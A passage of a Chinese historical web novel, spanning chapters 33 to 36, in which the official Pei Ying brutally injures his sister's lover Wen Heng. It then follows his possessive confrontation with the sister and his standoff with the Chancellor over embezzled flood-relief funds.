温珩自然知晓裴瑛痛处何在,便也字字句句戳在他的心头,他艰难地仰着头,借着冰冷的雪光看清了裴瑛嘴角那逐渐消散的笑容。 冷光逆形,内敛之杀意顿现,常人观之,蔚为恐怖。 “是啊。”裴瑛的笑容敛尽,原本轻扬的语气瞬间冷得砭骨,“作兄长的管教不严,竟叫妹妹出了如此荒唐事,是我的罪责。” 说罢,宽大的白色袍袖随着裴瑛的动作而簌簌晃动,他的手握住他的脖颈,优雅美丽的手型却分外有力,并且一寸一寸收紧,用力到几乎要将他的喉骨折为两段方才罢休,骨节分明的手指缓缓收紧,几乎要将他的下颌骨都捏碎。 他依旧居高临下睥睨着他,看着温珩因为喘不上气而痛苦,心底的怒意却并没有消减。 “只是到底一介男儿,靠着美色蛊惑无辜女子,是否过于卑劣?” 他便说着,手却按上匕首,锋利的匕首轻松滑出刀鞘,刀面映出裴瑛的隽秀优雅的侧颜轮廓,以及那双漆黑的眼眸。 “杀了我吗?”寒光映入眼眸,温珩却似乎毫无惧意,仰着头嗤笑着看着裴瑛,露出染着鲜血的白牙。 “随你的意罢,就算你杀了我,也改变不了你妹妹是我的女人,你最在乎的人最在乎的人,却是你最厌恶的人。裴映,你真的好可怜,哈哈哈!” “是吗?这又算得了什么。” 裴瑛面上毫无波澜,手上的力道却在一寸一寸地加重。 “你不过一时欢愉,她却永远都是我的妹妹。你一死,也就烟消云散了。” 他开始耳鸣,隐约间似乎听见自己骨头碎裂的咔嚓声,但他依旧以嘲笑的语气艰难地说道:“你杀了我,永远都不记得你妹妹的秘密了。” 裴瑛闻言,眉蹙了起来,但很快又舒展开来:“我妹妹的秘密,你个外人又如何知晓?” “你一点都不了解你的乖妹妹,你想不想知道,你在她心里,是什么人?” 温珩的声音嘶哑,却循循善诱。 “我与她床笫之间,可是说了好些你的事呢。” 裴瑛垂下眼帘,却又蓦然抬起眼来。 “她说你……” 他的声音突然低了下去,裴瑛蹙眉,正欲靠近细听。 只是却未听见温珩接下来的话,却被他猛地啐了带血的一口,而后温珩癫狂似的哈哈大笑:“是个蠢货哈哈哈!” 裴瑛漠然抬起袖子擦去脸颊上污物: “我原意杀你了事,可转念一想,蝼蚁之辈,杀了你,反倒便宜了你。” 他的声音平淡到毫无波澜,却又字字诛着温珩的心。 “你不过凭着家世与这张脸才能居于帝侧,如今李夫人荣宠,温夫人失势,你的父亲也被贬为庶人,你若在失去了你这张引以为傲的脸,你又当如何呢?” 他拽住温珩的领子,可谓之粗暴地将他从地上拎起来,语气也随之微微上扬,带着一种无与伦比的欢愉与嘲讽。 第33章 二度错吻 温珩顿时内心感知到前所未有的恐惧, 可是冰冷的刀锋以极其缓慢的速度滑过他脸,而后一寸地一寸深入。 冰冷的刀锋插入温热的血肉,温度的巨大差矣瞬间便叫温珩恐惧到了极点。 极度的恐惧之下温珩竟生生挣脱了开来, 裴瑛却也眼疾手快直接猛地划了过去,却不料温珩直接徒手握住, 利刃划破表层的肌肤,然后一寸一寸深入血肉,直到碰到骨头,发出刺耳的嘎啦声,刀锋似乎嵌进了骨头里,再往前一步都很困难。 “住手!” 熟悉的令人不悦的声音传来, 裴瑛徐徐回转过头去, 就见自长廊处疾步而来一人,他匆匆下了石阶,便奔着此处鲜血狼藉之处来。 “且慢!” 来者正是当今丞相,武安侯, 王太后同母弟, 国舅陆珩舟。 他似乎是匆匆而来的, 身上随意披着一件黑色的大氅,发髻也凌乱。 裴瑛不紧不慢地站了起来,而后身子一转,侧身而立便将躺在地上的温珩挡了一个严实。 “丞相深夜大驾, 不知有何要紧事亟待处理。”裴瑛心里虽然很是不耐,却也向着陆珩舟先一拱手。 虽然略有敷衍,但到底形式上走了, 也落不着他的话柄。 “听说温珩温重明在贵府之上,故本相才未经通报匆匆而来, 玄则不要见怪才是。” 陆珩舟见看不到温珩,便朝着东走三步,却不料裴瑛同样走了三步,依旧挡了个严严实实。 “哦。”裴瑛疑惑地蹙起了眉,而后又微笑着摇了摇头,叹息道,“不知丞相从何处听到的消息,还请丞相先移步正堂,某好与丞相再行商榷。” “哪里哪里,这不就在这儿呢吗?哪里又用如此费事呢。”陆珩舟大步走了过去,想要拂开裴瑛,“玄则你走开就好了。” “你说底下这个吗?”裴瑛侧过身来,顺势蹲下,握住他的下颌,将满脸血污的人脸抬了起来,让陆珩舟看。 陆珩舟赶忙低头去看,就见底下的人已然成了血人,底下冰冷的白雪也成了不断流淌着血水。 “这是温珩?” 陆珩舟脑海里的温珩乃是艳丽桃花带露浓的人物,长伴帝侧众人歆羡,那日春风正好,官至散骑常侍一身锦衣的温小公子打马走在御撵之后,一路繁花叶绿他便是金光灼灼,陆珩舟一眼便看见了温珩。 可眼前的人披头散发满身血污,身上大大小小的伤痕纵横交错不知几多,如此狼狈的人,陆珩舟无论如何都无法与昔日的温小公子联系上。 “丞相可以叫他一声,他若答应,自然就是温小公子了。” 修长如玉的手沾了那人的血污,像是点染了斑驳的红梅一般。 “本相问你一句,你可是温珩温重明?” 那人却并未说话,只有裸露的血肉在汩汩流出鲜血来。 陆珩舟又往前看了看,可是那人凌乱的发丝被黏腻的鲜血所粘连在一起挡在面前,让陆珩舟看不清。 可若他再细看一番,便会发现裴瑛的手正抵在他的咽喉之处,只轻微用力,便会捏断他的喉咙。 “如此血腥污秽之处,丞相一贯处在高雅之堂,想必定然看不惯罢。” 裴瑛眼神示意左右,便有侍卫过来继续压制着陆珩舟。 他往前走过,顺手结果侍卫递过来的手帕,仔细地将手指上的血污揩去。 “本相什么场面没见过,也是刀山火海滚过一圈的人物,区区此等景象,如何会看不惯。” “丞相的话,在下谨受教了。” 裴瑛恭敬地一拱手。 冷风游窜在回廊里,而后到了庭院中,吹得风灯摇晃,带得灯影变幻无常。 “听说……”陆珩舟顿了顿,方才压低了声音,“你找到了那个潜逃的要犯了?” 裴瑛再度疑惑起来,而后又是一笑,“是吗?倒是未曾听消息传过来,想必消息也在来的路上了罢。最近雪重,各方的消息未免会延宕几日,不是吗?” 陆珩舟闻言,长长地出了一口气:“是么,是么。” “毕竟当初清算被挪用的百万金都用了数月,抓着一个人却用了七年,实在太长了些。”裴瑛感慨道,“黄河决口,发十万人而无功,又百万金用于堵塞决口却不翼而飞,似乎真的是老天不叫黄河堵上。” “当时匈奴压迫边疆太甚朝廷无力再顾黄河,也幸得丞相挺身而出,方解陛下朝廷于两难之中。” “现在每每想来,还是感慨丞相深明大义。” 裴瑛的话顿时叫陆珩舟出了一身冷汗,却又强忍着恐惧笑了起来,只是笑的时候嘴角都在不可控制地抽搐着。 “哪里哪里,裴大人实在过誉了。” “是丞相太过自谦了。”裴瑛转过身来,冷风迎面吹着,鬓角落下的发丝迎风飞着,他又微微侧过头去,将目光落在陆珩舟身上,无声地将他所有或激烈或细微的表情变化收入眼中。 而就在此时,一声剧烈的吼叫却打破了冰冷缺凝固着的气氛。 “我是温珩,你们岂敢放肆!” 陆珩舟立马警觉,大踏步走了过来,而温珩则一个滚地借势滚到了陆珩舟身后,同时陆珩舟立即抬手,便有金吾卫踏踏列队而来,火把晃晃犹如长龙,一时火光雪光相交映,大有冰火两重天之势。 眼见对方亮出了武器,裴瑛麾下之暗卫也如风一般涌了上来,列队成弧形站在裴瑛身侧,手中长刀剑戟森光寒,直指敌方。 一时两方成犄角之势无声对抗着,谁都没有先动手,却也没有人先后退。 “这是谁?”陆珩舟一改方才随和的模样,瞬间变得凌厉起来,嘴角的笑意却在狠厉之间微微扬了起来,“这难道不是温珩吗!”裴玄则你岂敢欺骗本相!本相看你近来是愈发嚣张了,明日早朝本相便向陛下回禀你动用私刑滥杀权贵。” 一面是隐这剑光的黑暗,一面是满布火芒的光亮,黑暗与光亮争夺这归属之地,一时之间剑拔弩张焦灼万分! “我不过开个小玩笑,丞相又何必如此剑拔弩张。” 裴瑛看起来没有丝毫地慌张,逆风而来白衣如翼舒展在冷风之中。 “好好的公子都被你打成了这幅模样,你却说是小玩笑!” 陆珩舟以长辈的身份搭着温珩鲜血淋漓的肩膀,挤着眼睛掉下几滴眼泪。 “若今太后的主张你都忘了,怎么可以如此开国功臣之后呢!本相看你就是忘了本,别以为当了御史大夫就可以为所欲为。本相告诉你,本相当着丞相一日,你就为非作歹的机会。” “丞相既然想带走温珩带走就是了,何苦寻这么苦腔调的词呢?” 裴瑛勾起一丝浅笑,依旧温润平和。 他偏头看向身侧的暗卫首领,一挥手,便示意他们收剑退下,他又回过头来,笑吟吟地看着陆珩舟:“只是还请陆相回府之后,好好思忖一下裴某方才的话。” 陆珩舟也一挥手,金吾卫便加紧着将受了重伤几近昏迷的温珩护送了出去,火把也如同火的潮汐一般陆续褪去。 裴瑛并没有动作,只是静静地看着他们,末了,等着队伍全部撤出去的时候,方才冷然微哂,转身离去。 外面如此大的动静,裴明绘的屋中虽点了安神所用之香,却也不免被吵醒。 只是梦里梦外的界限却在安神香的搅扰之下变得扭曲模糊,以至于让她忘了是从梦中醒来还是在梦外睡去。 双臂撑着起身,如瀑的长发从肩头垂落下来,她摇了摇头,伸出手来将帐子拂开一条缝隙来。 那一抹白色的身影由远而近徐徐而来,像是屋中飘扬的轻盈的白纱,又像是蔓延在林中神秘的雾霭。 是谁? 裴明绘有些头昏脑涨,身体先思维一步下榻。 她拽着帐子,赤着脚就走了下来,原本白皙的脚踩在红毡之上,洇在红毡之中的鲜血顿时渗了出来。 她一抬头,就见到裴瑛。 他今日似与以往不同,一身胜雪的白衣,好似步下凡尘的神仙。 估计是梦,只梦里的哥哥才会如此不同。 “醒了。” 裴瑛的声音温柔得像是潺潺春水流过一般。 是梦么? 裴明绘赤着脚就走了过去,裴瑛见状,便也就走了过去。 她仰着头,眼前却也有些模糊。 “怎么赤着脚,小心着凉?” 裴瑛无奈一笑,但看起来她还没睡醒,迷迷糊糊的,怕是连天南地北不知道。 裴瑛弯腰,将她抱了起来。 他的臂弯很结实,轻轻松松就将她抱了起来,就跟梦里的一样。 梦里那些极为暧昧的场景再度映入脑海,一时之间,她真的混淆了梦境与现实的分界线。 梦境是现实的映射,现实是梦境的接续。 裴明绘顺势搂住裴瑛的脖子,极为安心地将头靠在他的肩上,任他带着她,去往他去的任何地方。 他将她放在榻上,替她将被子盖上掖好,却在离开之际被她一把拉住了袖子。 “你要走了吗?” “方才外面有些小贼,为兄如今都收拾完了。”裴瑛顺势坐下,看着裴明绘迷迷瞪瞪如在云雾的样子,便觉分外可爱,“你且先睡罢,没人会再来打搅你的。” 裴明绘却又坐了起来,盖着的锦被堆叠下来堆在身前,她却又倚在裴瑛的肩上,双手握住他冰冷的手:“我不睡,睡了就不能了。” “不能什么了?” 裴瑛不由有些好奇。 “不能再见你了。” 他感受到落在自己脸庞的湿润与柔软,她的呼吸轻而柔,像是夏日吹过河谷的和风,可是落在裴瑛的身上,确实凛冽砭骨的冬日寒风,一寸一寸从上至下冻结他的脊骨与血肉。 第34章 看清楚,我可不是你的情人 “……” 裴瑛的骨节慢慢绷紧, 而后因为太过用力关节处一寸挨着一寸开始泛白。 他的目光缓缓偏移,纤长睫羽在眼底投下一片浓黑的阴影。 彼时冷风不知从哪出缝隙游窜进来,故肆意地在温暖的屋内肆意游荡着, 带起屋里曳地的白纱也空中游动着,地上错金铜博山炉的火星突然也跟着闪动起来, 香雾自重叠山形中逸散出来,而后又迅速化进冷风里。 漏壶水声低漏不停,第三声之后,裴瑛笑了起来。 怪不得这个温珩屡次三番敢来裴府作乱,他原以为是温珩此贼一意孤行一厢情愿罢了,竟也不曾想过她竟敢再同他有着联系。 以往压制着的滔天的怒火在此刻轰然爆发, 无休无止在心田蔓延开来。 裴瑛从来不是好脾气的, 只是他善于管理自己的情绪,并且长于分配情绪的纾解之处。 他自以为不会在意温珩那番找死的言论,可事实却是。 他非常在意。 在意到骨子里,在意到血肉里, 在意到每时每刻都想将其碎尸万段。 可偏偏他需得顾全大局, 不能手刃此贼, 他原以为自己能够理解裴明绘找貌美之人聊解烦闷,毕竟家规是死的,人是活的,他虽为裴家家主, 却也睁一只眼闭一只眼,草草处理了也就罢了。 毕竟事关妹妹,一切都可通融。 一个空有美貌的男人罢了, 陛下也不过喜爱他的容颜,给了他一个散官, 让他待在身边。 温珩就像一个金丝雀,被喜爱他的人养在金笼子里。 陛下若此,裴明绘也当是若此。 只要到了时候,将那个自寻死路的温珩处死也就万事大吉了。 妹妹依旧是妹妹,那个心无旁骛的与他相依为命的妹妹。 什么温珩,不过是过往云烟罢了,哪里又值得在意呢。 可是如今他却发现,裴明绘的心思,似乎依旧在温珩身上。 她念着他,甚至与他深夜相会,为了他,甚至违背自己哥哥的意志。 她分明知晓温珩乃是裴家的敌人,却依旧要与他在一起。 难道仅仅就是因为他有着一张尚算可以的脸与一副极其狠毒的心肠吗? 他原以为自己与裴明绘多年兄妹,自己又苦口婆心殷殷相劝,他们相处时间又算不太久,就算有了夫妻之实又能如何。 可是他却万万没有想到,裴明绘似乎真的一颗心放在了温珩身上。 夜色沉凉白纱涌动,裴瑛的思维空了一瞬。 他第一次感受到孤独,这种孤独所带来的痛苦甚至无法纾解,无法压制。 他曾痴心地想过,上天垂怜他们两个孤苦可怜之人,降下恩典来让他们相遇,准许他们成为毫无血缘联系的兄妹,让他们相依为命,也定会让他们永生永世都在一起。 他曾暗暗下定决心,谁都没有办法让他们两个人分开,就算是皇帝和上天都不可以! 可是分明老天与皇帝都没有降下旨意来,他们兄妹二人却先一步地生出缝隙了吗? 不,他当时心里生出无限的惶恐来。 他退让了,同意让第三人插进他与妹妹的生活中来,想借此来拉紧妹妹的手。 可是事情却在一步一步走出他的控制,并逐渐走向崩坏。 思及此,裴瑛所有控制情绪的能力似乎都消失了,不甘,愤怒,怨憎,恐惧等诸多尚可言明的,不可言明的和无法名状的情绪交织在一处,一瞬间让他失去了理智。 原他不杀温珩,是放之长线收之大鱼,将背后之人勾出来。 今时今日看来,这种想法看似顾及长远,实则大错特错。 温珩,本该千刀万剐。 挫骨扬灰。 “所以呢。”裴瑛岿然不动,像是一座冰刻玉琢之雕像,声音冷得都掉冰粒,“你今日便是来等他的吗?” 裴明绘本就沉浸在幻梦之中难以自拔,倏然听闻裴瑛的语气突然冷冽至此,不由一怔,而后心跳陡然快速地跳了起来。 这难道不是梦吗,为什么哥哥在梦里也无端就发了脾气。 “什么……” 裴明绘尚还有些迷糊。 裴瑛呼吸急促,显然没了同她斡旋的心思,一下子便站了起来,顺势便将裴明绘从床榻上拎了起来,她身上盖着的锦衾瞬间滑落在地上。 “裴子吟,你且看清楚,我可不是你的情人。” 裴明绘像是从温暖的美梦之中被直接揪了出来,然后便直面屋外极寒的冬风。 她艰难地跪在榻上,倾身折腰,仰面对上裴瑛那蕴着狂澜风暴的双眸之时,瞬间清醒过来。 瞬间的清醒之后,便是铺天盖地的恐惧。 冷风游窜,吹起她的散乱的长发像是飞舞的青丝枝条,他紧紧攥着她的胳膊,修长的手上甚至迸出青筋。 当裴瑛居高临下地望见她眼底的恐惧,不由便将其与方才的温柔与快乐相比较,其间的差距便是天与地的距离,他先是愣了一下,而后不由再度笑了起来,只这笑意太过勉强。 “你好像很怕我,我是你哥哥,你再怕什么?” “怕我发现你的情人也在这里吗?” “那真是不好意思,我已经发现了。” 他自问自答地说着,说着说着竟然笑了起来,笑着笑着笑容却又一瞬间消失了。 他本不是怨天尤人的人。 可事到如今,他又如何不埋怨老天,埋怨她。 为什么自己无比珍视的东西要被夺去,为什么亲密无间的兄妹要生出罅隙? 为什么他这么在乎她,却比不上突兀而来的温珩? 他不甘心。 他也不可能束手等待。 什么关涉全局的谋划,什么牵一发动全身的大谋算。 不过浮云耳,一挥而散才是道理。 温珩,必须死。 不管什么温珩,还是其他什么东西,都不要妄想插足二人之间。 什么外嫁内嫁高嫁低嫁,难道兄妹之间的感情还抵不过嬴不了吗? 裴瑛的心激荡着,雷电风火在其间回荡着,无数的想法在此刻如雨后春笋般冒了出来,然后在激烈的情感之下疯狂地生长起来,占据了理智的天空,长出据私的枝蔓,想要将她紧紧纠缠住,锁住。 不,这是保护,裴瑛用最后的理智说道。 可他自己清楚,名为保护,实为囚禁。 裴明绘无比惊愕地仰着头看着裴瑛,眸子里倒影着他冰冷的容颜以及几经变幻最终化为锋锐的眼神。 这好像不是梦,天啊。 老天爷啊,她干了什么。 她又亲了裴瑛…… 梦境之中那旖旎场景强烈的催生的情|欲是强烈的致幻之物,让人虚实不分,而且一醒来便又见了裴瑛一袭白衣飘然而来,她便以为这又是一场新的梦。 梦的裴瑛似乎爱着她,这给了她在梦中的无限勇气,可以去拥抱他,亲吻他,告诉他她心中的人是谁。 裴明绘顿时觉得天旋地转,一瞬间,她竟有晕厥之感,但是裴瑛的眼神,却让她晕厥濒临之处又强行醒了回来。 原以为同样的错误她并不会犯第二次,可是心底对裴瑛不可言说的情感却叫她无法自控,故而处处都是破绽,处处都是陷阱。 行差踏错,万古不复。 “裴子吟。我素日是不是待你太好了些。”裴瑛紧紧攥住她的手腕,力气之大几乎要将她的腕骨捏碎,“我今日明确告知你,温珩,我必杀之。” “所以,你与他的事,我绝无可能同意。不过,你也不要妄想着同将死之人在一起。” “我知你一贯胆大,不过你有胆子私下与他在一处,就应该知道,我会怎么做。” 裴明绘一觉醒来便听见裴瑛说的这番凌厉的丝毫不留情面的决绝的话,脑子也彻底清醒下来,虽然尚不明白他话里的含义,但却听见温珩二字,却也庆幸下来。 庆幸他只将自己那番行径当做对着温珩说的话。 可是,裴明绘却凛然一震,身体的鲜血好像开始自脚底开始一寸接着一寸凝上了冰。 她的目光不由飘向窗外,看着外头灯影闪闪人影幢幢,便不由冷汗直下,心里冒出一个极为恐怖的想法。 温珩来过了?! 他竟然还活着? 难道哥哥没有追杀他,还是他侥幸逃脱了哥哥的追杀。 可是不管哪一种,温珩只要是活着,无异于是兄妹二人的巨大威胁。 裴瑛的目光落在她的目光所驻之处,望见里面的关切之意,便以为她是在念着温珩,此般时候还在心头担忧着一个外人,裴瑛的怒火便再也无法遏制,所有的情绪管控尽数失效。 他眼神一暗,就势一拉,裴明绘的便被迫着向前膝行一步,膝盖已然半数出了床榻边缘,悬在空中。 她的腰也随之更加弯折起来,像是承托着带着露水的硕大花苞的花枝,无辜而又无助地弯曲下去。 她也被迫着仰起头来,又正好对上裴瑛的目光。 “你是没听见我说话吗?” 裴瑛的声线愈发阴沉冰冷,内里是无法遏制的愤怒。 这是裴明绘第二次见裴瑛如此生气,虽对其生气的原因尚不明白,但心尖却也跟着发抖,只低下头去,力图掩盖住自己的真实表情,不让裴瑛有所察觉。 “听……听见了。” “抬起头来。” 第35章 谁在谁的股掌 裴明绘丝毫不敢反抗, 只得乖乖地抬起头来。 虽然无故挨了裴瑛的训实在窝心,但是裴明绘知道,承认自己方才所说都是因为在梦里遇见了他, 那结果会更加糟糕。 裴瑛居高临下看向她,她仰着头望向他, 二人之间涌动着是冰冷的空气,空气里纠缠着的是他极具压迫感的气息。 他本已经将所有柔软收起深藏,准备将过往的一切悉数清算,可他偏偏望见了一双荡漾着粼粼波光的眼睛,浑圆的泪珠无声自眼眶之中流出,滑过略带着红晕面颊, 而后自下颌滚落。 他的目光无声地为这泪水所捕获, 心神为其所执。 泪珠落在雪白的肌肤之上,一路下滑,行进那松散着的衣襟之内。 消失不见。 “……” 裴瑛偏过头去,哑口无言, 预备好的责备之语也悉数卡在了喉咙里。 “哥哥对不起, 我不该这样, 我原不想再跟他牵扯的,只是……只是……一时鬼迷了心窍,才……才这般的,我……我不是故意的, 哥哥你别生气。” 她哭得肩头都在抽泣,依着裴瑛的话仰着头看着他,晶莹如珠的泪珠大颗大颗地落了下来。 “我这便与他断了, 死生不复相见,我以后再也不惹你生气了。” 她的目光像是被泪光衬托像是破碎的琉璃, 语气轻柔得几乎叫人无法生她的气。 “你别生气了,好不好?” “……” 像是在心尖下了一层霜,裴瑛的怒火悄然间便冻结了。 “你……你真的知道错了吗?” 等裴瑛意识到自己竟然又准备原谅她的时候,话已经说出了口,没有办法收回了。 裴瑛垂眸,目光无声间与她的泪光交织在一起,沉默了片刻,裴瑛觉得自己脑中有疾,竟再次雷声大雨点小地准备放过了她。 这不像他。 不,这根本不是他。 裴瑛的内心震惊错愕着不解着。 她不会悔改的,理智的裴瑛告诉他。 可是他一看见她的泪,那种几乎毫无理由的偏爱情感便占据上风,占据内心的高点。 他对她的泪,没有任何的抵抗的能力,几乎可以说唯命是从,从小到大,不管什么时候,都是这样,裴瑛方才认识到。 进而,他明白了,看似在裴明绘的兄妹关系之中,他似乎处于极为弱势的地位。 他对她的一切作为看似了如指掌,可是却又清晰地无可改变。 她明知故犯,他又能奈何。 思及此,裴瑛的眼神迅速暗了下去,握住裴明绘的手无声地用力。 责怪她吗? 他做不到。 改变她吗? 看起来只有这一条路了。 他的眼眸之中似有天人交战,把将寻常的从容与不迫挤兑得一丝也不剩。 裴明绘见裴瑛松了口,登时点头如捣蒜,哽咽着直说自己知道错了。 裴瑛闭了闭眼,眼前便是纯粹的黑暗。 可分明看不见她,她却又无处不在。 无声无形地影响着他。 窗外鹧鸪惊魂叫。 只要杀了温珩,这些都不重要了。 裴瑛缓缓松开了手,桎梏在她纤细的手腕上的力道也愈来愈轻,她手腕那强烈束缚感也随之慢慢退去。 裴瑛转身。 离开。 黑暗里他的远去的身影分外孤然,冰冷的雪光落下,勾出清绝轮廓。 裴明绘看着裴瑛远去的背影,本该放松之际,她却突然心生了恐惧,缓缓地跌坐在地,大口大口地喘息着,面上身上冷汗涔涔都渗透了寝衣,湿哒哒地粘在身上。 她胸腔里的心脏扑通扑通跳得飞快,像是在击鼓一样,一时震得她头晕脑胀,眼前发黑。 她抬起手来捂住胸口,过了好久,才堪堪缓了过来。 可是她却丝毫没有劫后余生的欣喜。 因为,温珩回来了。 * 自从皇帝践祚以来,陆珩舟便很少如此心神不安,以往他总是安心地享受着作为汉朝国舅的种种礼遇,享受着众臣的阿谀奉承,享受着丰厚的食邑。 只要他还是皇帝的舅舅,便没有人能过取代他。 毕竟,他相信信奉儒家的皇帝定会看重血脉的联结而优待于他。 虽然说从裴瑛手中几乎不费吹灰之力就救下了温珩是一个很大成功。 但在几乎诡异般顺利的成功之后,他却也嗅到了一丝阴谋诡计的味道。 到底多年朝中阅历,陆珩舟对于危险还得相当是敏锐的。 所以,他决定还是去看一看温珩。 主意已定,陆珩舟回到陆府之后,便直往后院而去,来到一处三开间的丝毫没有亮着光的房屋之前,小心翼翼地推开门后闪身进去,便又紧紧关上了门,确保连一丝风都透不进来,他顺手拿起朱漆雕花长桌上的一盏小铜灯,遂往屋子深处走去。 走过垂下的珍珠帘幕,幽幽摇动着的橘红色灯火照出一片氤氲着的光晕来,就听珍珠碰撞,他便行到一处放着帐子的长榻前。 他一手端着铜灯,另一只手将宽大沉重的广袖往后掂了掂,方才去掀帐子。 “丞相且慢。” 一个低沉的声音自身后传来,陆珩舟一惊,险些将手中铜灯跌翻。 他一回头,便见来人一身棕色长袍,生得眉清目秀,甚是好看。 正是陆珩舟之亲信幕僚。 “你怎的来了也不吱个声。” 陆珩舟一挥袖子,以来掩饰自己被惊吓到的尴尬。 “走路跟个猫似的,都没声。” 年轻的幕僚一躬身,歉疚一笑:“是属下唐突,还请丞相勿怪。” “罢了罢了,什么事。” 陆珩舟清了清嗓子,出声问道。 “如今温公子受了重伤,不宜受风。”幕僚径自走了过去,贴心地接过陆珩舟手中的铜灯,拂亮一方天地,“况且,那人嘱托丞相去救温公子,如今救到了,却不来领人,怕是要将温公子这个大麻烦丢给丞相啊。属下以为,丞相还是要早做断绝才是。” 陆珩舟闻言,已经略显稀疏的眉毛低低地蹙了起来,语气也满是憎恶:“什么嘱托,若非事情急迫,我又怎么会如此明目张胆地与裴瑛这只疯狗作对?!如今人也救到了,你快去联系他们,叫他们赶紧把人领走,把那人给我拿过来。若是裴瑛问起来温珩在何处,就只说人跑了死了,总之,跟我们没关系。” 陆珩舟现在巴不得将温珩这个烫手山芋丢开。 幕僚扯了扯嘴角。 为人幕僚者,总要面对上司那些发了疯似的话,同时还要就此提出合他们心意的建议。 “丞相,如今为了救温珩,丞相甚至动用了长乐宫的卫尉。虽然太后不会说什么,但陛下恐会对此不满。”幕僚奉上茶来,借此缓解陆珩舟的焦躁。 “火都烧眉毛了,哪里还管的上这些。那些人手上握着的证据,才真会要了我的命!” 陆珩舟烦躁地一甩大袖,带起的风差点吹灭了铜灯的火苗。 “这都怪裴瑛,好端端地查什么,都七年了,七年了,不过是三四百万金罢了,怎么就一直揪着不放了,若非如此,我又怎么会铤而走险呢!都怪他,我定不能留他。对,我决不能留他!” “你什么都别管了,赶紧把这灾星给我送走。”陆珩舟停在宽大的油漆彩绘着花鸟虫草的屏风之前,负手站定,烦躁不安地思忖一阵后终于确定了主意,“如今裴瑛看在我是丞相的面子上,方才有所让步。若是他缓过神来,怕是要上门找麻烦呢。” 幕僚又扯了扯嘴角上,刚想说今夜裴瑛怕是不会来搅扰丞相,就听门外一阵急促的脚步声,而后又是一阵像是暴雨打窗似的敲门之声。 “丞相,御史大夫大人来了,现在正在正堂等候!” “什么!”陆珩舟一甩袖一跺脚,便是呜呼哀哉,正想推幕僚上前去挡一挡裴瑛,转眼却又想到他定是前来要人的,便先行嘱托幕僚将温珩处置好,而后自己风一般地就去了。 正堂之处灯火通明,佳人侍女垂首侍立两侧,像是静静开放的艳丽的花儿,无声地为冷风肆意游荡的冬日庭院添上一抹春色。 陆珩舟先行停在门前,顿了顿,又一个呼吸之后方才推开了门。 红漆长案之后的裴瑛依旧是白衣,似素衣堆雪,皎皎无暇。 他垂着眸,似是若有所思,长眉蹙起,似乎在犯着难,但在推门的一瞬间,他就抬起了眼眸。 风轻云淡,势在必得。 “不知裴大人深夜造访,是有何要事啊。” 虽然陆珩舟对裴瑛此行的目的一清二楚,但是他显然不想与他就此问题而纠缠。 “同丞相一样,前来要人。” 裴瑛开宗明义,温和的口吻中是不容拒绝的极为强硬的态度。 一听如此赤裸的话,陆珩舟当场就冷了脸,虽然裴瑛与他一同位列三公,但他是三公之首,是开府丞相,尊位到底位在裴瑛之上,他如何敢如此明目张胆前来要人? “哪里有什么人?” 陆珩舟压下愤怒,一撩袍袖便在主位上坐下。 如今人在他手里,裴瑛难道还能明抢不成吗? 陆珩舟甫一放下心来,就听裴瑛徐徐道来。 “今夜前来,不为别的。”裴瑛笑了起来,只这一丝笑意纯纯出于礼貌之意,语气却冰冷到骇人,“虽然七年前的堵塞黄河的三百四十四万金为人监守自盗至今不知所踪,然虽已有人证之踪迹,但丞相不知的事,在下已物证俱全。” 当这些话穿到陆珩舟耳朵里的时候,他起初还有些不相信:“什么?” “元光三年黄河决口,陛下发少府大农二府共三百四十四万金,为官吏赵志成诸官吏奉幕后主使监守自盗,后逃匿。今物证俱全,只待丞相一句话,随时可拘捕幕后主使。” 温和中蕴着冰冷的声音不疾不徐地传来,像是在朝堂之中念诵的处决诏书。 陆珩舟的脸瞬间惨白,他不可置信看向裴瑛,几个呼吸之后方才冷笑道,“哦,物证俱全怎么不拘捕幕后主使?问我做什么。” “只因幕后主使位高权重,在下不敢突兀行事。所以请丞相命令。” “御史大夫一贯雷厉风行,竟也有不敢之时。” “不敢之事太多了,但或许就是等着这一日。” 一句比一句紧迫,时间仿佛在此间凝滞,温暖的正堂里无声地弥漫起危险而又灼烧的气息。 “你到底想做什么?” “在下已然开诚布公,丞相何故装作不明。” 裴瑛的目光幽深如海涌动着潮波,其中的寒芒像是耿耿剑锋滑过的冷光。 “还请丞相决断。” 第36章 你如此聪慧,行事不留痕迹,倒叫我佩服 冷汗遍布全身, 陆珩舟顿觉天地逆转,头晕目眩。 他知道,他竟然知道? 他既然知道, 为什么不禀报陛下,他不是早有取而代之之意, 为什么不说? 还是他根本没有物证,只是猜测他是背后的主谋罢了。 毕竟此案已经过去七年了,当年知晓此事的人都已经死去,妄图想要探查此事的官员大都成了白骨了。 对,他一定只是胡加猜测罢了。 裴瑛不动声色地将陆珩舟所有情绪收入眼中,发现他的眉目骤然舒缓下来, 冷汗也不再往冒出来, 呼吸也平稳下来。 “丞相莫不是不信,大可往在下府上一观,远比那替罪羔羊要有意思的多。” 他的话冷静,没有波澜起伏。 是真的吗? 陆珩舟抬起头来, 骤然与裴瑛目光相撞, 内心里的恐惧一发不可收拾地迸发出来, 激扬着。 “丞相与在下同位三公,当全力为陛下效力,又何苦同室操戈呢?”裴瑛的话看似柔和,却是步步紧逼, “难道一个温珩,比大汉的基业还要重要吗?” “比丞相的半生功业还要重要吗?” 陆珩舟与裴瑛共事多年,裴瑛的手段, 他很清楚。 裴瑛逼死了齐王,故齐国绝嗣化为汉朝郡县, 虽然这对于皇帝来说是天大的好事。可面儒家伦理来说,这是不仁不义之举。 皇帝很可能为了平息舆论,而处置裴瑛。 裴瑛对来势汹汹的舆论临危不乱以退为进,不动声色间让攻讦者将矛头指向了皇帝。 外施仁义而内寡恩,非常深刻的评价,陆珩舟绝不相信这是以卓贤的脑子能够想出来。 很显然,他身边有裴瑛的人,而这个人则为卓贤出谋划策,提出了这个看似英明实则暗藏杀机的主张。 他站在朝堂之上,看着皇帝当时就冷了脸,看向卓贤诸人的目光越来越阴冷,但是他们却还没意识到滔天的灾难行将到来,还在滔滔不绝地诉说着裴瑛的罪状。 皇帝也甚至没有给他们申辩的机会,即刻便命令郎中令将他们拖了下去,押入大狱以待后审。 陆珩舟本想让暂代廷尉的刘筑尽快了结此事,莫要等着裴瑛回来接手此事,但偏偏那个刘筑脑子一根筋,认为拖得越久,便越有可能翻盘,毕竟卓贤是功臣宿将之后,冯山也是修习《春秋》的一代名儒,其父是先帝时的博士,朝中很多儒臣都是他的学生,而假廷尉刘筑也是其父的学生。 